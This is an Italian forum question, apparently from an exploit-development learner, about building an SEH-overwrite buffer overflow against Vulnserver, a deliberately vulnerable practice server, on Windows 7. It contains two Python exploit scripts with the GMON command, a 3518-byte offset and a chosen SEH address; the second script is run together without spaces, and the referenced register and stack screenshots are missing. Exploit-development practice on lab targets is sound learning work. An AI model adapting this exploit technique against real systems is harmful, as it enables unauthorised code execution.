Ho scaricato Vulnserver e voglio sfruttarlo usando SEH. Sono riuscito a sovrascrivere correttamente SE Handler, ecco il codice che sto usando per sfruttare questo programma:
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.0.15',9999))
payload = 'GMON /'
payload += 'A' * (3518)
payload += 'B'*4 # pointer to next SEH record
payload += 'C'*4 # SEH overwrite
payload += 'D'*(5000-len(payload))
s.send(payload)
s.recv(1024)
s.close()
I registri hanno questo aspetto:
Ed ecco la pila:
Dopo di che eseguo !mona seh per trovare una dll adatta da usare, e ho scelto la prima.

Ilmiocaricoutileoraapparecosì
importsockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('192.168.0.15',9999))payload='GMON/'payload+='A'*(3518)payload+='\xcc'*4#payloadtonextSEHrecordpayload+='\xb4\x10\x50\x62'#SEHoverwritepayload+='D'*(5000-len(payload))s.send(payload)s.recv(1024)s.close()Dopoaverloeseguito,questoèlostackeiregistri:
Perché non colpisce il punto di interruzione?
Sto lavorando su Windows 7.